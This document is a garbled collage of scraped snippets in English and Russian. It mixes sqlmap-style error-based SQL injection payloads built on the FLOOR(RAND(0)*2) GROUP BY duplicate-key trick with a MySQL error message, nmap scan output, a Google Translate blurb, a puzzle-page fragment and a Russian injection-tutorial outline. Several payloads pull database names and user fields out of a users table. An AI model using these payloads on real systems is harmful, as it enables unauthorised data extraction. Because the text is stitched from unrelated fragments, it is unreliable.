> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'. This error doesn't occur in the PostgreSQL-equivalent query
Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.
Select your puzzle: Puzzle not found. (130 votes, average: 2,90 out of 5).
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...8161 FROM(SELECT COUNT(*),CONCAT(0x7171786a71,(SELECT MID((IFNULL(CAST(name AS CHAR),0x20)),1,54) FROM task1.users WHERE email
IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE HOP RTT ADDRESS 1 0.40 ms 192.168.1.20NSE: Script Post-scanning. Initiating NSE at 16:34 Completed NSE at 16:34, 0.01s elapsed Initiating NSE at 16:34...
...AND (SELECT 2284 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SELECT (ELT(2284=2284,1))),0x716a716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'sBKa'='sBKa.
+and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s). this AAAAA it's more 1000 A.
...(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY.
1.3 Использование UNION + group_concat(). 1.4 Экранирование хвоста запроса. 1.5 Расщепление SQL-запроса.